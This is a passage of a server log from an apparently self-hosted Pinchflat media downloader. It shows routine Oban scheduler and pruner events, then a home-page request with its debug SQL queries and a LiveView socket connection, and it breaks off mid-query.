{"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:22:17.429 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:22:47.430 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:00.909 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:23:17.431 [info] {"source":"oban","duration":747,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:23:47.432 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:00.910 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:24:17.433 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:24:47.434 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:00.911 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:25:17.435 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:25:47.437 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:00.912 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:26:17.438 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:26:47.440 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:00.913 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:27:17.442 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:27:47.443 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:00.915 [info] {"source":"oban","duration":349,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:28:17.444 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:28:47.445 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:00.915 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:29:17.446 [info] {"source":"oban","duration":744,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:29:47.447 [info] {"source":"oban","duration":809,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:00.916 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:30:17.449 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:30:47.450 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:00.918 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:31:17.451 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:31:47.452 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:00.918 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:32:17.453 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:32:47.454 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:00.919 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:33:17.455 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:33:47.457 [info] {"source":"oban","duration":525,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:00.920 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:34:17.458 [info] {"source":"oban","duration":598,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:34:47.459 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:00.921 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:35:17.460 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:35:47.461 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:00.922 [info] {"source":"oban","duration":291,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:36:17.462 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:36:47.463 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:00.923 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:37:17.464 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:37:47.465 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:00.924 [info] {"source":"oban","duration":213,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:38:17.466 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:38:47.467 [info] {"source":"oban","duration":831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:00.925 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:39:17.469 [info] {"source":"oban","duration":753,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:39:47.471 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:00.926 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:40:17.472 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:40:47.473 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:00.927 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:41:17.474 [info] {"source":"oban","duration":856,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:41:47.476 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:00.929 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:42:17.477 [info] {"source":"oban","duration":653,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:42:47.478 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:00.929 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:43:17.479 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:43:47.481 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:00.930 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:44:17.483 [info] {"source":"oban","duration":641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:44:47.484 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:00.931 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:45:17.485 [info] {"source":"oban","duration":587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:45:47.486 [info] {"source":"oban","duration":726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:00.932 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:46:17.487 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:46:47.488 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:00.933 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:47:17.489 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:47:47.491 [info] {"source":"oban","duration":764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:00.935 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:48:17.493 [info] {"source":"oban","duration":569,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:48:47.494 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:00.935 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:49:17.495 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:49:47.496 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:00.936 [info] {"source":"oban","duration":277,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:50:17.497 [info] {"source":"oban","duration":830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:50:47.499 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:00.938 [info] {"source":"oban","duration":345,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:51:17.500 [info] {"source":"oban","duration":777,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:51:47.501 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:00.938 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:52:17.502 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:52:47.503 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:00.939 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:53:17.504 [info] {"source":"oban","duration":757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:53:47.506 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:00.940 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:54:17.507 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:54:47.508 [info] {"source":"oban","duration":786,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:00.942 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:55:17.510 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:55:47.511 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:00.942 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:56:17.512 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:56:47.513 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:00.943 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:57:17.514 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:57:47.515 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:00.944 [info] {"source":"oban","duration":355,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:58:17.516 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:58:47.517 [info] {"source":"oban","duration":897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:00.945 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 01:59:17.519 [info] {"source":"oban","duration":779,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:59:47.521 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:00.946 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:00:17.522 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:00:47.524 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:00.947 [info] {"source":"oban","duration":187,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:01:17.525 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:01:47.526 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:00.948 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:02:17.527 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:02:47.528 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.949 [info] {"source":"oban","duration":197,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:03:17.529 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:47.530 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.950 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:04:17.531 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:47.532 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:00.951 [info] {"source":"oban","duration":250,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:05:17.533 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:05:47.534 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:00.952 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:06:17.535 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:06:47.537 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:00.953 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:07:17.538 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:07:47.539 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:00.955 [info] {"source":"oban","duration":363,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:08:17.540 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:08:36.589 [info] GET / 02:08:36.589 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 02:08:36.590 [debug] QUERY OK source="settings" db=0.3ms idle=1198.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:36.590 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1198.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 02:08:36.590 [debug] QUERY OK source="sources" db=0.0ms idle=1199.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 02:08:36.591 [debug] QUERY OK source="media_items" db=0.4ms idle=1199.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:08:36.593 [debug] QUERY OK source="media_items" db=1.5ms idle=821.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:08:36.593 [debug] QUERY OK source="settings" db=0.1ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:36.593 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:36.594 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:08:36.594 [debug] QUERY OK source="tasks" db=0.1ms idle=3.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 02:08:36.595 [debug] QUERY OK source="media_items" db=0.1ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:08:36.596 [debug] QUERY OK source="media_items" db=1.0ms idle=1.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:08:36.596 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 02:08:36.599 [debug] QUERY OK source="media_items" db=0.8ms idle=4.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 02:08:36.599 [debug] QUERY OK source="media_items" db=0.5ms idle=4.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:08:36.600 [debug] QUERY OK source="sources" db=0.1ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 02:08:36.602 [info] Sent 200 in 12ms 02:08:37.199 [info] CONNECTED TO Phoenix.LiveView.Socket in 25µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HHlTRQMKfCwKDgU1NzYEXBIBTQ8cORMiKTdpjM2VlXsMpd1dY08bMHba", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.8layer8.com/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.8layer8.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 02:08:37.244 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "W-75iGNzfVvxGR58K1umQqqC", "media_state" => "downloaded"} 02:08:37.245 [debug] QUERY OK source="media_items" db=0.5ms idle=647.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 02:08:37.245 [debug] QUERY OK source="media_items" db=0.4ms idle=645.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 02:08:37.246 [debug] QUERY OK source="sources" db=0.2ms idle=646.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 02:08:37.246 [debug] Replied in 2ms 02:08:37.248 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "W-75iGNzfVvxGR58K1umQqqC", "media_state" => "pending"} 02:08:37.263 [debug] QUERY OK source="media_items" db=14.0ms idle=648.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND 